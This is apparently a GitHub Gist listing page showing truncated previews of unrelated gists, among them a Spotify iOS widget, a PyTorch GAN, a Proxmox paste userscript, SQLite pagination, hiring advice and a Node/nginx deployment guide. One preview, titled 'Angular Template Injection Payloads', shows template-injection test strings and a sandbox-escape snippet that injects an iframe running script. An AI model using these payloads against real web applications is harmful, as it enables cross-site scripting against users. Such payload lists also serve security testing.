Skip to content

Instantly share code, notes, and snippets.

@marco79cgn
marco79cgn / spotify-now-playing.js
Last active April 18, 2024 11:37
A Scriptable iOS widget that shows what‘s playing on Spotify
let spotifyCredentials
let widget = await createWidget()
Script.setWidget(widget)
Script.complete()
async function createWidget() {
let widget = new ListWidget()
let spotifyIcon = await getImage("spotify-icon.png")
widget.backgroundColor = new Color("1e2040")
@iMusicDorian
iMusicDorian / audio2midi.md
Created April 18, 2024 11:37 — forked from natowi/audio2midi.md
List of open source audio to midi packages
@natowi
natowi / audio2midi.md
Last active April 18, 2024 11:37
List of open source audio to midi packages
@mccabe615
mccabe615 / AngularTI.md
Last active April 18, 2024 11:37
Angular Template Injection Payloads

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
@brijml
brijml / mnist-gan.py
Last active April 18, 2024 11:37
Generative Adversarial Network on MNIST data using Pytorch
import numpy as np
import torch
import torch.nn.functional as F
import matplotlib.pyplot as plt
from torch.autograd import Variable
from torchvision import datasets, models, transforms, utils
class NN(torch.nn.Module):
def __init__(self, D_in, h1, h2, D_out):
@amunchet
amunchet / noVNCCopyPasteProxmox.user.js
Last active April 18, 2024 11:36
Copy/Paste for noVNC Proxmox
// ==UserScript==
// @name noVNC Paste for Proxmox
// @namespace http://tampermonkey.net/
// @version 0.2a
// @description Pastes text into a noVNC window (for use with Proxmox specifically)
// @author Chester Enright
// @match https://*
// @include /^.*novnc.*/
// @require http://code.jquery.com/jquery-3.3.1.min.js
// @grant none
@ssokolow
ssokolow / pagination_example.sql
Created December 23, 2009 13:02
Reasonably efficient pagination without OFFSET (SQLite version)
-- Reasonably efficient pagination without OFFSET
-- SQLite version (Adapted from MS SQL syntax)
-- Source: http://www.phpbuilder.com/board/showpost.php?p=10376515&postcount=6
SELECT foo, bar, baz, quux FROM table
WHERE oid NOT IN ( SELECT oid FROM table
ORDER BY title ASC LIMIT 50 )
ORDER BY title ASC LIMIT 10

Feedback for Juniors

I'm currently reviewing applications for a junior front-end position I advertised recently.

For those that applied, it's going to take a while to get back to you. I've gotten about 300 applications. However, I think it would be useful to share some general feedback based on the applications I've received thus far. The goal here is honesty, so I hope it doesn't come across as harsh, but instead as a useful perspective from the other side of the hiring table.

🔥 The tech hiring space is a dumpster-fire at the moment. We need to start with the acknowledgment. It is not that you are not good enough, or doing something wrong. The market is over-saturated with junior applicants. According to Offerzen applications rose by 300% in only 12 months.

@bradtraversy
bradtraversy / node_nginx_ssl.md
Last active April 18, 2024 11:30
Node app deploy with nginx & SSL

Node.js Deployment

Steps to deploy a Node.js app to DigitalOcean using PM2, NGINX as a reverse proxy and an SSL from LetsEncrypt

1. Sign up for Digital Ocean

If you use the referal link below, you get $10 free (1 or 2 months) https://m.do.co/c/5424d440c63a

2. Create a droplet and log in via ssh

I will be using the root user, but would suggest creating a new user

@Chengings
Chengings / .editorconfig
Last active April 18, 2024 11:30
Cheatsheets
trim_trailing_whitespace = true